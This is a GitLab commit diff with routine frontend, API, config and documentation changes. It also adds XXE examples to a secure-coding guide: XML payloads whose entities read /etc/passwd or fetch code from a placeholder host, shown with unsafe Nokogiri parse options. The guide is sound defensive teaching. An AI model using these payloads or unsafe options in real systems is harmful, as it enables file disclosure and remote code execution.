Add latest changes from gitlab-org/gitlab@master

This commit is contained in:
GitLab Bot 2025-04-15 18:07:13 +00:00
parent 6639836045
commit 36170967f8
34 changed files with 418 additions and 167 deletions

View File

@ -282,7 +282,6 @@ export default {
'app/assets/javascripts/work_items/components/shared/work_item_token_input.vue',
'app/assets/javascripts/work_items/components/work_item_assignees.vue',
'app/assets/javascripts/work_items/components/work_item_attributes_wrapper.vue',
'app/assets/javascripts/work_items/components/work_item_change_type_modal.vue',
'app/assets/javascripts/work_items/components/work_item_crm_contacts.vue',
'app/assets/javascripts/work_items/components/work_item_description.vue',
'app/assets/javascripts/work_items/components/work_item_detail.vue',
@ -493,7 +492,6 @@ export default {
'ee/app/assets/javascripts/vulnerabilities/components/new_vulnerability/section_details.vue',
'ee/app/assets/javascripts/vulnerabilities/components/vulnerability_details.vue',
'ee/app/assets/javascripts/vulnerabilities/components/vulnerability_training.vue',
'ee/app/assets/javascripts/work_items/components/work_item_change_type_modal.vue',
'ee/app/assets/javascripts/work_items/components/work_item_custom_fields_multi_select.vue',
'ee/app/assets/javascripts/work_items/components/work_item_custom_fields_single_select.vue',
'ee/app/assets/javascripts/work_items/components/work_item_health_status.vue',

View File

@ -462,7 +462,6 @@ RSpec/BeEq:
- 'ee/spec/services/projects/protect_default_branch_service_spec.rb'
- 'ee/spec/services/projects/update_service_spec.rb'
- 'ee/spec/services/quick_actions/interpret_service_spec.rb'
- 'ee/spec/services/search/project_service_spec.rb'
- 'ee/spec/services/search/zoekt/indexing_task_service_spec.rb'
- 'ee/spec/services/security/configuration/project_set_continuous_vulnerability_scanning_service_spec.rb'
- 'ee/spec/services/security/orchestration/create_bot_service_spec.rb'

View File

@ -150,7 +150,6 @@ RSpec/ReceiveMessages:
- 'ee/spec/services/merge_requests/mergeability/check_jira_status_service_spec.rb'
- 'ee/spec/services/merge_requests/mergeability/check_path_locks_service_spec.rb'
- 'ee/spec/services/resource_access_tokens/create_service_spec.rb'
- 'ee/spec/services/search/project_service_spec.rb'
- 'ee/spec/services/security/orchestration/assign_service_spec.rb'
- 'ee/spec/services/security/scan_result_policies/generate_policy_violation_comment_service_spec.rb'
- 'ee/spec/services/security/training_providers/base_url_service_spec.rb'

View File

@ -1 +1 @@
4a334d4588a6146161a9e1fee35c14c2016eb17b
95b8e6a28986f6b4aaaa20283212259b1938e948

View File

@ -34,7 +34,7 @@ export default {
<template>
<div>
<gl-form-checkbox v-model="pushEventsData">{{ __('Push events') }}</gl-form-checkbox>
<input type="hidden" :value="pushEventsData" name="hook[push_events]" />
<input v-model="pushEventsData" type="hidden" name="hook[push_events]" />
<div v-if="pushEventsData" class="gl-pl-6">
<gl-form-radio-group v-model="branchFilterStrategyData" name="hook[branch_filter_strategy]">

View File

@ -5,17 +5,15 @@ import * as Sentry from '~/sentry/sentry_browser_wrapper';
import { __, s__, sprintf } from '~/locale';
import { findDesignsWidget, getParentGroupName, isMilestoneWidget } from '~/work_items/utils';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { capitalizeFirstCharacter } from '~/lib/utils/text_utility';
import {
WIDGET_TYPE_HIERARCHY,
ALLOWED_CONVERSION_TYPES,
WORK_ITEM_TYPE_ENUM_EPIC,
WORK_ITEM_TYPE_NAME_EPIC,
sprintfWorkItem,
WORK_ITEM_WIDGETS_NAME_MAP,
WIDGET_TYPE_DESIGNS,
WIDGET_TYPE_HIERARCHY,
WIDGET_TYPE_MILESTONE,
WORK_ITEM_TYPE_NAME_EPIC,
WORK_ITEM_TYPE_NAME_MAP,
WORK_ITEM_WIDGETS_NAME_MAP,
} from '../constants';
import namespaceWorkItemTypesQuery from '../graphql/namespace_work_item_types.query.graphql';
@ -38,6 +36,8 @@ export default {
type: String,
required: true,
},
// Used in EE component
// eslint-disable-next-line vue/no-unused-properties
workItemIid: {
type: String,
required: false,
@ -77,7 +77,7 @@ export default {
required: false,
default: '',
},
allowedWorkItemTypesEE: {
allowedConversionTypesEE: {
type: Array,
required: false,
default: () => [],
@ -136,38 +136,37 @@ export default {
},
},
computed: {
supportedConversionTypes() {
allowedConversionTypes() {
return (
this.workItemTypes
?.find((type) => type.name === this.workItemType)
?.supportedConversionTypes?.filter((item) => {
.find((type) => type.name === this.workItemType)
?.supportedConversionTypes.filter(({ name }) => {
// API is returning Incident, Requirement, Test Case, and Ticket in addition to required work items
// As these types are not migrated, they are filtered out on the frontend
// They will be added to the list as they are migrated
// Discussion: https://gitlab.com/gitlab-org/gitlab/-/issues/498656#note_2263177119
return ALLOWED_CONVERSION_TYPES.includes(item.name);
return ALLOWED_CONVERSION_TYPES.includes(name);
})
?.map((item) => ({
text: item.name,
value: item.id,
})) || []
.concat(this.allowedConversionTypesEE) ?? []
);
},
allowedConversionWorkItemTypes() {
selectOptions() {
return [
{
text: __('Select type'),
value: null,
id: null,
name: __('Select type'),
},
...this.supportedConversionTypes,
...this.allowedWorkItemTypesEE,
];
...this.allowedConversionTypes,
].map((item) => ({
text: item.text || item.name,
value: item.id,
}));
},
workItemsAlphaEnabled() {
return this.glFeatures.workItemsAlpha;
},
isSelectedWorkItemTypeEpic() {
return this.selectedWorkItemType?.value === WORK_ITEM_TYPE_ENUM_EPIC;
return this.selectedWorkItemType?.name === WORK_ITEM_TYPE_NAME_EPIC;
},
milestoneWidget() {
return this.widgets.find(isMilestoneWidget)?.milestone;
@ -175,7 +174,7 @@ export default {
selectedWorkItemTypeWidgetDefinitions() {
return this.isSelectedWorkItemTypeEpic
? this.getEpicWidgetDefinitions({ workItemTypes: this.workItemTypes })
: this.getWidgetDefinitions(this.selectedWorkItemType?.text);
: this.getWidgetDefinitions(this.selectedWorkItemType?.name);
},
currentWorkItemTypeWidgetDefinitions() {
return this.getWidgetDefinitions(this.workItemType);
@ -275,10 +274,10 @@ export default {
return this.parentWorkItem?.workItemType?.name;
},
workItemTypeId() {
return this.workItemTypes.find((type) => type.name === this.selectedWorkItemType?.text).id;
return this.workItemTypes.find((type) => type.name === this.selectedWorkItemType?.name).id;
},
selectedWorkItemTypeValue() {
return this.selectedWorkItemType?.value || null;
selectedWorkItemTypeId() {
return this.selectedWorkItemType?.id || null;
},
actionPrimary() {
return {
@ -334,19 +333,17 @@ export default {
}
return this.workItemTypes.find((widget) => widget.name === type)?.widgetDefinitions;
},
updateWorkItemType(value) {
updateWorkItemType(id) {
this.typeFieldNote = '';
if (!value) {
if (!id) {
this.resetModal();
return;
}
this.selectedWorkItemType = this.allowedConversionWorkItemTypes.find(
(item) => item.value === value,
);
this.selectedWorkItemType = this.allowedConversionTypes.find((item) => item.id === id);
if (value === WORK_ITEM_TYPE_ENUM_EPIC) {
if (this.selectedWorkItemType.name === WORK_ITEM_TYPE_NAME_EPIC) {
this.typeFieldNote = this.epicFieldNote;
}
this.validateWorkItemType();
@ -361,9 +358,7 @@ export default {
s__(
'WorkItem|Parent item type %{parentWorkItemType} is not supported on %{workItemType}. Remove the parent item to change type.',
),
this.isSelectedWorkItemTypeEpic
? WORK_ITEM_TYPE_NAME_EPIC
: this.selectedWorkItemType.text,
this.selectedWorkItemType.name,
this.parentWorkItemType,
);
@ -377,11 +372,7 @@ export default {
'WorkItem|%{workItemType} does not support the %{childItemType} child item types. Remove child items to change type.',
),
{
workItemType: capitalizeFirstCharacter(
this.isSelectedWorkItemTypeEpic
? WORK_ITEM_TYPE_NAME_EPIC.toLocaleLowerCase()
: this.selectedWorkItemType.text.toLocaleLowerCase(),
),
workItemType: WORK_ITEM_TYPE_NAME_MAP[this.selectedWorkItemType.name],
childItemType: this.allowedChildTypes?.[0]?.name?.toLocaleLowerCase(),
},
);
@ -405,15 +396,15 @@ export default {
s__(
'WorkItem|Some fields are not present in %{workItemType}. If you change type now, this information will be lost.',
),
this.isSelectedWorkItemTypeEpic
? WORK_ITEM_TYPE_NAME_EPIC
: this.selectedWorkItemType.text,
this.selectedWorkItemType.name,
);
}
},
throwError(message) {
this.$emit('error', message);
},
// show() is invoked by parent component to show the modal
// eslint-disable-next-line vue/no-unused-properties
show() {
this.resetModal();
this.$refs.modal.show();
@ -453,9 +444,9 @@ export default {
id="work-item-type-select"
class="gl-mb-2"
data-testid="work-item-change-type-select"
:value="selectedWorkItemTypeValue"
:value="selectedWorkItemTypeId"
width="md"
:options="allowedConversionWorkItemTypes"
:options="selectOptions"
@change="updateWorkItemType"
/>
<p v-if="typeFieldNote" class="gl-text-subtle">{{ typeFieldNote }}</p>

View File

@ -167,6 +167,7 @@ class Projects::CommitController < Projects::ApplicationController
@diffs_slice = @commit.first_diffs_slice(streaming_offset, commit_diff_options)
@diff_files_endpoint = diff_files_metadata_namespace_project_commit_path
@diffs_stats_endpoint = diffs_stats_namespace_project_commit_path
@update_current_user_path = expose_path(api_v4_user_preferences_path)
show
end

View File

@ -39,10 +39,18 @@ module Resolvers
required: false,
description: "Return only projects that are trending."
argument :aimed_for_deletion, GraphQL::Types::Boolean,
required: false,
description: 'Return only projects marked for deletion.'
argument :not_aimed_for_deletion, GraphQL::Types::Boolean,
required: false,
description: "Exclude projects that are marked for deletion."
argument :marked_for_deletion_on, ::Types::DateType,
required: false,
description: 'Date when the project was marked for deletion.'
before_connection_authorization do |projects, current_user|
::Preloaders::UserMaxAccessLevelInProjectsPreloader.new(projects, current_user).execute
end
@ -79,7 +87,9 @@ module Resolvers
min_access_level: args[:min_access_level],
language_name: args[:programming_language_name],
trending: args[:trending],
aimed_for_deletion: args[:aimed_for_deletion],
not_aimed_for_deletion: args[:not_aimed_for_deletion],
marked_for_deletion_on: args[:marked_for_deletion_on],
current_organization: ::Current.organization
}
end

View File

@ -1148,6 +1148,7 @@ production: &base
# label: 'Our SAML Provider',
# groups_attribute: 'Groups',
# external_groups: ['Contractors', 'Freelancers'],
# duo_add_on_groups: ['Developers', 'Freelancers'],
# args: {
# assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback',
# idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8',

View File

@ -19,12 +19,9 @@
body: | # (required) Don't change this line.
GitLab believes in secure-by-default practices. To honor this, we are making some changes to support least privilege principles relating to the use of CI/CD variables.
Today, users with the Developer role or higher are able to use [pipeline variables](https://docs.gitlab.com/ci/variables/#use-pipeline-variables) by default, without any verification or opt-in.
In 18.0, GitLab is updating the [pipeline variable restrictions](https://docs.gitlab.com/ci/variables/#restrict-pipeline-variables) to default enabled.
As a result of this change, the ability to use pipeline CI/CD variables will be restricted for all users by default.
If necessary, you can manually update this setting with a minimum role that is allowed to use pipeline variables, though it's recommended to keep this as restricted as possible.
You can already start using a more secure-by-default experience for pipeline variables by raising the minimum role to the recommended [Owner only, or no one](https://docs.gitlab.com/ci/variables/#restrict-pipeline-variables).
Starting in 17.7, this is the default for all new projects in new namespaces on GitLab.com.
Starting in 17.7, `no one allowed` is the default for all new projects in new namespaces on GitLab.com.
# ==============================
# OPTIONAL END-OF-SUPPORT FIELDS

View File

@ -54,7 +54,7 @@ sequenceDiagram
Background Job-->>Background Job: Complete
```
### Configure Duo add-on seat management
## Configure Duo add-on seat management
To turn on add-on seat management with LDAP:
@ -72,7 +72,3 @@ gitlab_rails['ldap_servers'] = {
}
}
```
## Troubleshooting
See [LDAP troubleshooting](auth/ldap/ldap-troubleshooting.md).

View File

@ -197,11 +197,9 @@ You can then view the database details for this request:
![A highlighted example request in an open Request Selector dropdown list](img/select-request-id-from-request-selector-drop-down-menu_v14_3.png)
<!-- vale gitlab_base.Substitutions = NO -->
1. Select the `pg` link in the Progress Bar to view the database queries executed by the API request:
![GitLab API database details: 29ms / 34 queries](img/view-pg-details_v14_3.png)
<!-- vale gitlab_base.Substitutions = YES -->
The database query dialog is displayed:

View File

@ -336,9 +336,10 @@ Returns [`BlobSearch`](#blobsearch).
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="queryblobsearchchunkcount"></a>`chunkCount` {{< icon name="warning-solid" >}} | [`Int`](#int) | **Introduced** in GitLab 17.2. **Status**: Experiment. Maximum chunks per file. |
| <a id="queryblobsearchexcludeforks"></a>`excludeForks` {{< icon name="warning-solid" >}} | [`Boolean`](#boolean) | **Introduced** in GitLab 17.11. **Status**: Experiment. Excludes forked projects in the search. Always false for project search. Not available for global search. |
| <a id="queryblobsearchgroupid"></a>`groupId` {{< icon name="warning-solid" >}} | [`GroupID`](#groupid) | **Introduced** in GitLab 17.2. **Status**: Experiment. Group to search in. |
| <a id="queryblobsearchincludearchived"></a>`includeArchived` {{< icon name="warning-solid" >}} | [`Boolean`](#boolean) | **Introduced** in GitLab 17.7. **Status**: Experiment. Includes archived projects in the search. Always true for project search. Default is false. |
| <a id="queryblobsearchincludeforked"></a>`includeForked` {{< icon name="warning-solid" >}} | [`Boolean`](#boolean) | **Introduced** in GitLab 17.7. **Status**: Experiment. Includes forked projects in the search. Always true for project search. Not available for global search. Default is false. |
| <a id="queryblobsearchincludeforked"></a>`includeForked` {{< icon name="warning-solid" >}} | [`Boolean`](#boolean) | **Introduced** in GitLab 17.7. **Status**: Experiment. Includes forked projects in the search. Always true for project search. Not available for global search. |
| <a id="queryblobsearchpage"></a>`page` {{< icon name="warning-solid" >}} | [`Int`](#int) | **Introduced** in GitLab 17.2. **Status**: Experiment. Page number to fetch the results. |
| <a id="queryblobsearchperpage"></a>`perPage` {{< icon name="warning-solid" >}} | [`Int`](#int) | **Introduced** in GitLab 17.2. **Status**: Experiment. Number of results per page. |
| <a id="queryblobsearchprojectid"></a>`projectId` {{< icon name="warning-solid" >}} | [`ProjectID`](#projectid) | **Introduced** in GitLab 17.2. **Status**: Experiment. Project to search in. |

View File

@ -31819,6 +31819,12 @@ paths:
admins
type: boolean
required: false
- in: query
name: marked_for_deletion_on
description: Date when the project was marked for deletion
type: string
format: date
required: false
- in: query
name: wiki_checksum_failed
description: Limit by projects where wiki checksum is failed
@ -31837,12 +31843,6 @@ paths:
type: boolean
default: false
required: false
- in: query
name: marked_for_deletion_on
description: Date when the project was marked for deletion
type: string
format: date
required: false
- in: query
name: page
description: Current page number
@ -32302,6 +32302,12 @@ paths:
admins
type: boolean
required: false
- in: query
name: marked_for_deletion_on
description: Date when the project was marked for deletion
type: string
format: date
required: false
- in: query
name: wiki_checksum_failed
description: Limit by projects where wiki checksum is failed
@ -32320,12 +32326,6 @@ paths:
type: boolean
default: false
required: false
- in: query
name: marked_for_deletion_on
description: Date when the project was marked for deletion
type: string
format: date
required: false
- in: query
name: page
description: Current page number
@ -39762,6 +39762,12 @@ paths:
admins
type: boolean
required: false
- in: query
name: marked_for_deletion_on
description: Date when the project was marked for deletion
type: string
format: date
required: false
- in: query
name: wiki_checksum_failed
description: Limit by projects where wiki checksum is failed
@ -39780,12 +39786,6 @@ paths:
type: boolean
default: false
required: false
- in: query
name: marked_for_deletion_on
description: Date when the project was marked for deletion
type: string
format: date
required: false
- in: query
name: page
description: Current page number
@ -40093,6 +40093,12 @@ paths:
admins
type: boolean
required: false
- in: query
name: marked_for_deletion_on
description: Date when the project was marked for deletion
type: string
format: date
required: false
- in: query
name: wiki_checksum_failed
description: Limit by projects where wiki checksum is failed
@ -40111,12 +40117,6 @@ paths:
type: boolean
default: false
required: false
- in: query
name: marked_for_deletion_on
description: Date when the project was marked for deletion
type: string
format: date
required: false
- in: query
name: page
description: Current page number

View File

@ -85,7 +85,7 @@ where needed.
To check all existing queries and mutations, on the right side of GraphiQL, select **Documentation explorer**.
To check the execution of the queries and mutations you've written, in the upper-left corner, select **Execute query**.
![GraphiQL interface](img/graphiql_explorer_v12_4.png)
![GraphiQL interface showing an entry in the Documentation Explorer](img/graphiql_explorer_v12_4.png)
## Apollo Client

View File

@ -229,34 +229,30 @@ and included in `rules` definitions via [YAML anchors](../../ci/yaml/yaml_optimi
### `if:` conditions
<!-- vale gitlab_base.Substitutions = NO -->
| `if:` conditions | Description | Notes |
|------------------|-------------|-------|
| `if-not-canonical-namespace` | Matches if the project isn't in the canonical (`gitlab-org/` and `gitlab-cn/`) or security (`gitlab-org/security`) namespace. | Use to create a job for forks (by using `when: on_success` or `when: manual`), or **not** create a job for forks (by using `when: never`). |
| `if-not-ee` | Matches if the project isn't EE (that is, project name isn't `gitlab` or `gitlab-ee`). | Use to create a job only in the FOSS project (by using `when: on_success` or `when: manual`), or **not** create a job if the project is EE (by using `when: never`). |
| `if-not-foss` | Matches if the project isn't FOSS (that is, project name isn't `gitlab-foss`, `gitlab-ce`, or `gitlabhq`). | Use to create a job only in the EE project (by using `when: on_success` or `when: manual`), or **not** create a job if the project is FOSS (by using `when: never`). |
| `if-default-refs` | Matches if the pipeline is for `master`, `main`, `/^[\d-]+-stable(-ee)?$/` (stable branches), `/^\d+-\d+-auto-deploy-\d+$/` (auto-deploy branches), `/^security\//` (security branches), merge requests, and tags. | Note that jobs aren't created for branches with this default configuration. |
| `if-master-refs` | Matches if the current branch is `master` or `main`. | |
| `if-master-push` | Matches if the current branch is `master` or `main` and pipeline source is `push`. | |
| `if-master-schedule-maintenance` | Matches if the current branch is `master` or `main` and pipeline runs on a 2-hourly schedule. | |
| `if-master-schedule-nightly` | Matches if the current branch is `master` or `main` and pipeline runs on a nightly schedule. | |
| `if-auto-deploy-branches` | Matches if the current branch is an auto-deploy one. | |
| `if-master-or-tag` | Matches if the pipeline is for the `master` or `main` branch or for a tag. | |
| `if-merge-request` | Matches if the pipeline is for a merge request. | |
| `if-merge-request-title-as-if-foss` | Matches if the pipeline is for a merge request and the MR has label ~"pipeline:run-as-if-foss" | |
| `if-merge-request-title-update-caches` | Matches if the pipeline is for a merge request and the MR has label ~"pipeline:update-cache". | |
| `if-merge-request-labels-run-all-rspec` | Matches if the pipeline is for a merge request and the MR has label ~"pipeline:run-all-rspec". | |
| `if-merge-request-labels-run-cs-evaluation` | Matches if the pipeline is for a merge request and the MR has label ~"pipeline:run-CS-evaluation". | |
| `if-security-merge-request` | Matches if the pipeline is for a security merge request. | |
| `if-security-schedule` | Matches if the pipeline is for a security scheduled pipeline. | |
| `if-nightly-master-schedule` | Matches if the pipeline is for a `master` scheduled pipeline with `$NIGHTLY` set. | |
| `if-dot-com-gitlab-org-schedule` | Limits jobs creation to scheduled pipelines for the `gitlab-org` group on GitLab.com. | |
| `if-dot-com-gitlab-org-master` | Limits jobs creation to the `master` or `main` branch for the `gitlab-org` group on GitLab.com. | |
| `if-dot-com-gitlab-org-merge-request` | Limits jobs creation to merge requests for the `gitlab-org` group on GitLab.com. | |
| `if-dot-com-ee-schedule` | Limits jobs to scheduled pipelines for the `gitlab-org/gitlab` project on GitLab.com. | |
<!-- vale gitlab_base.Substitutions = YES -->
| `if:` conditions | Description | Notes |
|---------------------------------------------|-------------|-------|
| `if-not-canonical-namespace` | Matches if the project isn't in the canonical (`gitlab-org/` and `gitlab-cn/`) or security (`gitlab-org/security`) namespace. | Use to create a job for forks (by using `when: on_success` or `when: manual`), or **not** create a job for forks (by using `when: never`). |
| `if-not-ee` | Matches if the project isn't EE (that is, project name isn't `gitlab` or `gitlab-ee`). | Use to create a job only in the FOSS project (by using `when: on_success` or `when: manual`), or **not** create a job if the project is EE (by using `when: never`). |
| `if-not-foss` | Matches if the project isn't FOSS (that is, project name isn't `gitlab-foss`, `gitlab-ce`, or `gitlabhq`). | Use to create a job only in the EE project (by using `when: on_success` or `when: manual`), or **not** create a job if the project is FOSS (by using `when: never`). |
| `if-default-refs` | Matches if the pipeline is for `master`, `main`, `/^[\d-]+-stable(-ee)?$/` (stable branches), `/^\d+-\d+-auto-deploy-\d+$/` (auto-deploy branches), `/^security\//` (security branches), merge requests, and tags. | Note that jobs aren't created for branches with this default configuration. |
| `if-master-refs` | Matches if the current branch is `master` or `main`. | |
| `if-master-push` | Matches if the current branch is `master` or `main` and pipeline source is `push`. | |
| `if-master-schedule-maintenance` | Matches if the current branch is `master` or `main` and pipeline runs on a 2-hourly schedule. | |
| `if-master-schedule-nightly` | Matches if the current branch is `master` or `main` and pipeline runs on a nightly schedule. | |
| `if-auto-deploy-branches` | Matches if the current branch is an auto-deploy one. | |
| `if-master-or-tag` | Matches if the pipeline is for the `master` or `main` branch or for a tag. | |
| `if-merge-request` | Matches if the pipeline is for a merge request. | |
| `if-merge-request-title-as-if-foss` | Matches if the pipeline is for a merge request and the MR has label `~"pipeline:run-as-if-foss"`. | |
| `if-merge-request-title-update-caches` | Matches if the pipeline is for a merge request and the MR has label `~"pipeline:update-cache"`. | |
| `if-merge-request-labels-run-all-rspec` | Matches if the pipeline is for a merge request and the MR has label `~"pipeline:run-all-rspec"`. | |
| `if-merge-request-labels-run-cs-evaluation` | Matches if the pipeline is for a merge request and the MR has label `~"pipeline:run-CS-evaluation"`. | |
| `if-security-merge-request` | Matches if the pipeline is for a security merge request. | |
| `if-security-schedule` | Matches if the pipeline is for a security scheduled pipeline. | |
| `if-nightly-master-schedule` | Matches if the pipeline is for a `master` scheduled pipeline with `$NIGHTLY` set. | |
| `if-dot-com-gitlab-org-schedule` | Limits jobs creation to scheduled pipelines for the `gitlab-org` group on GitLab.com. | |
| `if-dot-com-gitlab-org-master` | Limits jobs creation to the `master` or `main` branch for the `gitlab-org` group on GitLab.com. | |
| `if-dot-com-gitlab-org-merge-request` | Limits jobs creation to merge requests for the `gitlab-org` group on GitLab.com. | |
| `if-dot-com-ee-schedule` | Limits jobs to scheduled pipelines for the `gitlab-org/gitlab` project on GitLab.com. | |
### `changes:` patterns

View File

@ -129,17 +129,12 @@ on GitLab.com
{{< /alert >}}
<!-- vale gitlab_base.Substitutions = NO -->
On GitLab.com, entries from the [Redis slow log](https://redis.io/docs/latest/commands/slowlog/) are available in the
`pubsub-redis-inf-gprd*` index with the [`redis.slowlog` tag](https://log.gprd.gitlab.net/app/kibana#/discover?_g=(filters:!(),refreshInterval:(pause:!t,value:0),time:(from:now-1d,to:now))&_a=(columns:!(json.type,json.command,json.exec_time_s),filters:!(('$state':(store:appState),meta:(alias:!n,disabled:!f,index:AWSQX_Vf93rHTYrsexmk,key:json.tag,negate:!f,params:(query:redis.slowlog),type:phrase),query:(match:(json.tag:(query:redis.slowlog,type:phrase))))),index:AWSQX_Vf93rHTYrsexmk)).
This shows commands that have taken a long time and may be a performance
concern.
<!-- vale gitlab_base.Substitutions = YES -->
The
[`fluent-plugin-redis-slowlog`](https://gitlab.com/gitlab-org/ruby/gems/fluent-plugin-redis-slowlog)
The [`fluent-plugin-redis-slowlog`](https://gitlab.com/gitlab-org/ruby/gems/fluent-plugin-redis-slowlog)
project is responsible for taking the `slowlog` entries from Redis and
passing to Fluentd (and ultimately Elasticsearch).

View File

@ -21,7 +21,7 @@ For each of the vulnerabilities listed in this document, AppSec aims to have a S
| [JWT](#json-web-tokens-jwt) | Pending | ❌ |
| [SSRF](#server-side-request-forgery-ssrf) | [1](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_insecure_url-1.yml), [2](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_insecure_http.yml?ref_type=heads) | ✅ |
| [XSS](#xss-guidelines) | [1](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_xss_redirect.yml), [2](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_xss_html_safe.yml) | ✅ |
| [XXE](#xml-external-entities) | Pending | ❌ |
| [XXE](#xml-external-entities) | [1](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_xml_injection_change_unsafe_nokogiri_parse_option.yml?ref_type=heads), [2](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_xml_injection_initialize_unsafe_nokogiri_parse_option.yml?ref_type=heads), [3](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_xml_injection_set_unsafe_nokogiri_parse_option.yml?ref_type=heads), [4](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_xml_injection_unsafe_xml_libraries.yml?ref_type=heads) | ✅ |
| [Path traversal](#path-traversal-guidelines) (Ruby) | [1](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_path_traversal.yml?ref_type=heads) | ✅ |
| [Path traversal](#path-traversal-guidelines) (Go) | [1](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/merge_requests/39) | ✅ |
| [OS command injection](#os-command-injection-guidelines) (Ruby) | [1](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_command_injection.yml?ref_type=heads) | ✅ |
@ -689,7 +689,31 @@ References:
XML external entity (XXE) injection is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. It can lead to disclosure of confidential data, denial of service, server-side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
### Example
### XXE mitigation in Ruby
The two main ways we can prevent XXE vulnerabilities in our codebase are:
Use a safe XML parser: We prefer using Nokogiri when coding in Ruby. Nokogiri is a great option because it provides secure defaults that protect against XXE attacks. For more information, see the [Nokogiri documentation on parsing an HTML / XML Document](https://nokogiri.org/tutorials/parsing_an_html_xml_document.html#parse-options).
When using Nokogiri, be sure to use the default or safe parsing settings, especially when working with unsanitized user input. Do not use the following unsafe Nokogiri settings ⚠️:
| Setting | Description |
| ------ | ------ |
| `dtdload` | Tries to validate DTD validity of the object which is unsafe when working with unsanitized user input. |
| `huge` | Unsets maximum size/depth of objects that could be used for denial of service. |
| `nononet` | Allows network connections. |
| `noent` | Allows the expansion of XML entities and could result in arbitrary file reads. |
### Safe XML Library
```ruby
require 'nokogiri'
# Safe by default
doc = Nokogiri::XML(xml_string)
```
### Unsafe XML Library, file system leak
```ruby
require 'rexml/document'
@ -705,20 +729,94 @@ EOX
# Parsing XML without proper safeguards
doc = REXML::Document.new(xml)
puts doc.root.text # This could output the contents of /etc/passwd
puts doc.root.text
# This could output /etc/passwd
```
### XXE mitigation in Ruby
Use a safe XML parser: We prefer using Nokogiri when coding in Ruby. Nokogiri is a great option because it provides secure defaults that protect against XXE attacks. For more information, see the [Nokogiri documentation on parsing an HTML / XML Document](https://nokogiri.org/tutorials/parsing_an_html_xml_document.html#parse-options).
### Noent unsafe setting initialized, potential file system leak
```ruby
require 'nokogiri'
# Safe by default
doc = Nokogiri::XML(xml_string)
# Vulnerable code
xml = <<-EOX
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
EOX
# noent substitutes entities, unsafe when parsing XML
po = Nokogiri::XML::ParseOptions.new.huge.noent
doc = Nokogiri::XML::Document.parse(xml, nil, nil, po)
puts doc.root.text # This will output the contents of /etc/passwd
##
# User Database
#
# Note that this file is consulted directly only when the system is running
...
```
### Nononet unsafe setting initialized, potential malware execution
```ruby
require 'nokogiri'
# Vulnerable code
xml = <<-EOX
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://untrustedhost.example.com/maliciousCode" >]>
<foo>&xxe;</foo>
EOX
# In this example we use `ParseOptions` but select insecure options.
# NONONET allows network connections while parsing which is unsafe, as is DTDLOAD!
options = Nokogiri::XML::ParseOptions.new(Nokogiri::XML::ParseOptions::NONONET, Nokogiri::XML::ParseOptions::DTDLOAD)
# Parsing the xml above would allow `untrustedhost` to run arbitrary code on our server.
# See the "Impact" section for more.
doc = Nokogiri::XML::Document.parse(xml, nil, nil, options)
```
### Noent unsafe setting set, potential file system leak
```ruby
require 'nokogiri'
# Vulnerable code
xml = <<-EOX
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
EOX
# setting options may also look like this, NONET disallows network connections while parsing safe
options = Nokogiri::XML::ParseOptions::NOENT | Nokogiri::XML::ParseOptions::NONET
doc = Nokogiri::XML(xml, nil, nil, options) do |config|
config.nononet # Allows network access
config.noent # Enables entity expansion
config.dtdload # Enables DTD loading
end
puts doc.to_xml
# This could output the contents of /etc/passwd
```
### Impact
XXE attacks can lead to multiple critical and high severity issues, like arbitrary file read, remote code execution, or information disclosure.
### When to consider
When working with XML parsing, particularly with user-controlled inputs.
## Path Traversal guidelines
### Description

View File

@ -65,18 +65,14 @@ in an area of the application which already has CAPTCHA support, such as:
After you force Spam Flagging + CAPTCHA using the steps above, you can test the
behavior with any spam-protected model/controller action.
### Test with CAPTCHA enabled (CONDITIONAL_ALLOW verdict)
### Test with CAPTCHA enabled (`CONDITIONAL_ALLOW` verdict)
If CAPTCHA is enabled in these areas, you must solve the CAPTCHA popup modal before you can resubmit the form:
- **Admin -> Settings -> Reporting -> Spam**
- **Anti-bot Protection -> Enable reCAPTCHA**
<!-- vale gitlab_base.Substitutions = NO -->
### Testing with CAPTCHA disabled ("DISALLOW" verdict)
<!-- vale gitlab_base.Substitutions = YES -->
### Testing with CAPTCHA disabled (`DISALLOW` verdict)
If CAPTCHA is disabled in **Admin -> Settings -> Reporting -> Spam** and **Anti-bot Protection -> Enable reCAPTCHA**,
